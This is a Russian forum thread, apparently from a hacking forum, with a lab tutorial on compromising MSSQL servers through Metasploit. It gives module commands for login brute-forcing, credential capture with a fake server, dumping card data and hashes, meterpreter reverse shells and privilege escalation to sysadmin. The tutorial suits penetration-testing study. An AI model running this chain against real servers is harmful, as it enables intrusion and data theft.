Загрузка...

MSSQL для Pentester: Metasploit.

Тема в разделе Kali Linux создана пользователем TomMuller 13 сен 2021. (поднята 6 окт 2021) 813 просмотров

  1. TomMuller
    TomMuller Автор темы 13 сен 2021 swatter 44 16 авг 2021
    В этой статье мы подробно узнаем, как тестировать серверы MSSQL на проникновение с помощью фреймворка Metasploit.
    Metasploit - отличный фреймворк, разработанный HD Moore. Это бесплатный и легкий инструмент для тестирования на проникновение. Он имеет открытый исходный код, кроссплатформенный и имеет ряд функций. Его популярность основана в первую очередь на том, что это мощный инструмент для проверки безопасности. Хотя это правда, в нем также есть много функций, которые могут помочь людям защитить себя. Лично я предпочитаю использовать этот инструмент для тестирования, поскольку он инкапсулирует эксплойт, который может когда-либо понадобиться пентестеру. В этой статье мы узнаем, как использовать Metasploit для эксплуатации MSSQL. Поэтому мы рассмотрим каждый эксплойт, который может предложить Metasploit, шаг за шагом, от поиска сервера MSSQL в сети до получения конфиденциальной информации из базы данных и получения контроля. Без лишних слов, давайте начнем.

    Сбор информации и подсчет.

    1. Поиск сервера MSSQL
    При тестировании серверов MSSQL, будь то удаленно или локально, наше первое требование - найти сервер в сети. И для этого воспользуемся в Metasploit следующим эксплойтом:
    Код
    use auxiliary/scanner/mssql/mssql_ping [/B][/B]
    [B][B]set rhosts 192.168.1.1/24
    exploit

    [IMG]
    2.Взлом паролей
    Мы нашли сервер, поэтому нашим следующим шагом будет получение учетных данных сервера. Для этого мы проведем словарную атаку с помощью следующего эксплойта:
    Код
    use auxiliary/scanner/mssql/mssql_login [/B][/B]
    [B][B]set rhosts 192.168.1.3
    set user_file /root/users.txt
    set verbose false
    exploit

    [IMG] И вы можете видеть на изображении выше, у нас есть учетные данные.

    3. Получение
    версии MSSQL

    Также мы можем получить всю информацию о сервере MSSQL и его версии с помощью следующего эксплойта:
    Код
    use auxiliary/admin/mssql/mssql_sql[/B][/B]
    [B][B]set rhosts 192.168.1.3
    set username lowprwiv
    set password Password@1
    exploit

    [IMG]
    Перечисление MSSQL

    Давайте теперь перечислим сервер и посмотрим, какую всю информацию мы можем получить. И для этого воспользуемся следующим эксплойтом:
    Код
    use auxiliary/admin/mssql/mssql_enum[/B][/B]
    [B][B]set rhosts 192.168.1.3
    set username lowpriv
    set password Password@1
    exploit

    [IMG]
    В результате вышеупомянутого эксплойта вы можете увидеть, какие разрешения предоставлены базе данных, какие логины доступны с другой полезной информацией. То же самое можно увидеть на изображении выше.

    Перечисление пользователей SQL

    Мы также можем найти правильный список входа для всех пользователей на сервере. Metasploit предоставляет нам специальный эксплойт именно для этой задачи. А эксплойт следующий:

    Код
    use auxiliary/admin/mssql/mssql_enum_sql_login[/B][/B]
    [B][B]set rhosts 192.168.1.3
    set username lowpriv
    set password Password@1
    exploit

    [IMG]
    В результате на изображении выше вы можете видеть, что вам будет предоставлен список всех пользователей.

    Захват входа в систему MSSQL

    Следующий эксплойт, который мы собираемся использовать - capture / mssql. Этот эксплойт создает поддельный сервер и пытается перехватить аутентифицированные учетные данные с исходного сервера. Чтобы использовать этот эксплойт, введите;
    Код
    use auxiliary/server/capture/mssql[/B][/B]
    [B][B][set srvhost 192.168.1.2
    exploit

    [IMG]Теперь, если пользователь, например, пытается войти на сервер, у нас будут учетные данные с помощью следующей команды:
    Код
    sqsh -S 192.168.1.2 -U sa -P "password@1"

    [IMG]И когда вы проверяете свой Metasploit, вуаля! У вас будут правильные учетные данные для входа на сервер, которые вы также можете увидеть на изображении ниже:
    [IMG]
    Создание базы данных

    Обычно любой MSSQL-сервер, который вы тестируете, будет иметь базу данных. Но поскольку сервер, на котором мы проводим это тестирование на проникновение, является новым, мы также хотели показать лабораторную настройку; поэтому, чтобы наш следующий эксплойт сработал, мы будем создавать базу данных на нашем сервере. Чтобы создать базу данных, используйте следующую команду:
    Код
    create database bank;

    [IMG]
    Поскольку приведенный выше запрос выполняется успешно, нашим следующим шагом будет ввод следующего запроса:

    Итак, как вы можете видеть на изображении выше, наша таблица создана. Теперь давайте добавим данные в нашу таблицу с помощью следующего запроса:
    Код
    CREATE TABLE Customers [/B][/B]
    [B][B] CustomerID int,
    LastName varchar(255),
    FirstName varchar(255),
    passw varchar(255),
    creditcard varchar(255)
    );

    [IMG]
    Итак, как вы можете видеть на изображении выше, наша таблица создана. Теперь давайте добавим данные в нашу таблицу с помощью следующего запроса:
    Код
    INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)[/B][/B]
    [B][B]VALUES ('01', 'Technologies','Ignite', 'admin123', '1111-2222-3333-4444');

    INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
    VALUES ('02', 'Sharma','Nisha', 'admin1234', '5555-6666-7777-8888');

    INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
    VALUES ('03', 'Chandel','Raj', 'admin12345', '9999-1010-1020-1030');

    INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
    VALUES ('04', 'Madan','Geet', 'admin12311', '1234-5678-9012-3456');

    [IMG]Таким образом, вы можете создать свою базу данных.

    Выгрузка базы данных.

    Теперь, когда у нас есть база данных, давайте узнаем, как можно выгрузить содержимое базы данных с помощью Metasploit. К счастью, в Metasploit есть специальный эксплойт, предназначенный для сброса содержимого базы данных. И чтобы использовать указанный тип эксплойта:
    [CODE]use auxiliary/admin/mssql/mssql_findandsampledata[/B][/B]
    [B][B]set rhosts 192.168.1.3
    set username lowpriv
    set password Password@1
    set sample_size 4
    set keywords FirstName | passw | credit
    exploit[/CODE]

    [IMG]
    Таким образом, использование вышеуказанного эксплойта даст желаемое содержимое базы данных. Например, данные, которые мы сбрасывали, содержали информацию о сохраненных кредитных картах пользователей.

    SchemaDump.
    Следующий эксплойт, который мы собираемся использовать, упрощает схему сервера. А чтобы использовать этот эксплойт, используйте следующий набор команд:
    [CODE]use auxiliary/scanner/mssql/mssql_schemadump[/B][/B]
    [B][B]set rhosts 192.168.1.3
    set username lowpriv
    set password Password@1
    exploit[/CODE]

    [IMG]
    Итак, с помощью описанного выше эксплойта у нас есть данные с сервера.

    Хэшдамп.
    И последнее, но не менее важное: наш следующий эксплойт используется для сброса хэшей пользователей с сервера. Чтобы использовать этот эксплойт, введите:
    [CODE]use auxiliary/scanner/mssql/mssql_hashdump[/B][/B]
    [B][B]set rhosts 192.168.1.149
    set username sa
    set password Password@1
    expoit[/CODE]

    [IMG]


    Xp_cmdshell.

    Мы нашли MSSQL-сервер в сети, получили учетные данные, выдавали себя за пользователя с более высокими привилегиями. Итак, теперь давайте попробуем получить сеанс meterpreter на сервере, используя xp_cmdshell, используя следующий эксплойт:
    [CODE]use exploit/windows/mssql/mssql_payload[/B][/B]
    [B][B]set rhosts 192.168.1.3
    set username lowpriv
    set password Password@1
    exploit[/CODE]

    [IMG]
    Как вы можете видеть на изображении выше, эксплойт пытается разрешить xp_cmdshell иметь наш сеанс. После успешного включения xp_cmdshel у нас будет сеанс meterpreter, как показано на изображении ниже:
    [IMG]
    MSSQl_exec

    Теперь, если мы хотим выполнить команду на сервере, мы можем сделать это удаленно с помощью следующего эксплойта Metasploit:
    [CODE]use auxiliary/admin/mssql/mssql_exec[/B][/B]
    [B][B]set rhosts 192.168.
    set username lowpriv
    set password Password@
    set cmd
    exploit[/CODE]

    [IMG]
    И, как вы можете видеть на изображении выше, эксплойт успешно выполнен, и мы получили желаемый результат, то есть список всех пользователей сети.

    Другой способ выполнить желаемую команду - сначала записать команду в файл .sql с помощью следующей команды:
    [CODE]cat user.sql[/B][/B]
    [B][B]CREATE LOGIN test1 WITH PASSWORD = 'Password@1';[/CODE]

    Теперь мы можем использовать этот .sql для удаленного запуска на сервере с помощью следующего эксплойта:
    [CODE]use auxiliary/admin/mssql/mssql_sql_file[/B][/B]
    [B][B]set rhosts 192.168.1.3
    set username lowpriv
    set password Password@1
    set sql_file /root/user.sql
    exploit[/CODE]

    [IMG] В результате описанный выше эксплойт создаст пользователя с именем test1. Вы можете вручную перейти на сервер и подтвердить создание пользователя, как показано на изображении ниже:

    [IMG]
    CLR Assembely

    Следующий эксплойт поможет воспользоваться преимуществами интеграции со средой CLR. Этот эксплойт активирует интеграцию со средой CLR, а также активирует свойство надежной базы данных. После того, как эксплойт предоставит вам сеанс, он восстанавливает все настройки до их исходного вида. Чтобы использовать этот эксплойт, введите:
    [CODE]use exploit/windows/mssql/mssql_clr_payload[/B][/B]
    [B][B]set payload windows/x64/meterpreter/reverse_tcp
    set username lowpriv
    set password Password@1
    exploit[/CODE]

    [IMG]
    И, как видите, эксплойт выполнил все шаги, чтобы использовать интеграцию со средой CLR в полной мере. И он выдает сеанс meterpreter, как показано на изображении выше.

    Теперь, когда у нас есть учетные данные пользователя, мы можем использовать следующие привилегии повышения уровня уязвимости для нашего пользователя. Этот эксплойт будет манипулировать надежным свойством базы данных и предоставить вам все желаемые привилегии. И для этого воспользуемся следующим эксплойтом:
    [CODE]use auxiliary/admin/mssql/mssql_escalate_dbowner[/B][/B]
    [B][B]set rhosts 192.168.1.3
    set username lowpriv
    set password Password@1
    exploit[/CODE]

    [IMG]
    Как вы можете видеть выше, мы получили привилегии системного администратора для нашего пользователя.

    Выдача себя за другое лицо

    Другой способ получить привилегии - выдать себя за другого пользователя. И в этом нам поможет следующий эксплойт; это позволит нашему пользователю выдавать себя за других пользователей, чтобы получить привилегии системного администратора. Чтобы использовать этот эксплойт, используйте следующий набор команд:
    [CODE]use auxiliary/admin/mssql/mssql_escalate_execute_as[/B][/B]
    [B][B]set rhosts 192.168.1.3
    set username lowpriv
    set password Password@1
    exploit[/CODE]

    [IMG]Теперь, как вы можете видеть на изображении выше, пользователь lowpriv может выдавать себя за пользователя sa. Пользователь Sa является членом системного администратора, и с помощью описанного выше эксплойта lowpriv теперь также является системным администратором, так как он олицетворяет пользователя sa.

    В общем, Metasploit - один из лучших инструментов для тестирования серверов MSSQL на проникновение, поскольку он предлагает множество эксплойтов и множество способов сделать это.
     
    13 сен 2021 Изменено
  2. TomMuller
    TomMuller Автор темы 13 сен 2021 swatter 44 16 авг 2021
    секунду, кое что поправлю.
    --- Сообщение объединено с предыдущим 13 сен 2021
    B,[,]- это удаляем на строке кода, когда писал тему.
     
    13 сен 2021 Изменено
  3. cartixd
    cartixd 14 сен 2021 Заблокирован(а) 57 4 июл 2019
    1. TomMuller Автор темы
  4. eofflayn
    eofflayn 17 сен 2021 4 12 мар 2020
    а для чего это надо?,не шарю
     
Загрузка...
Top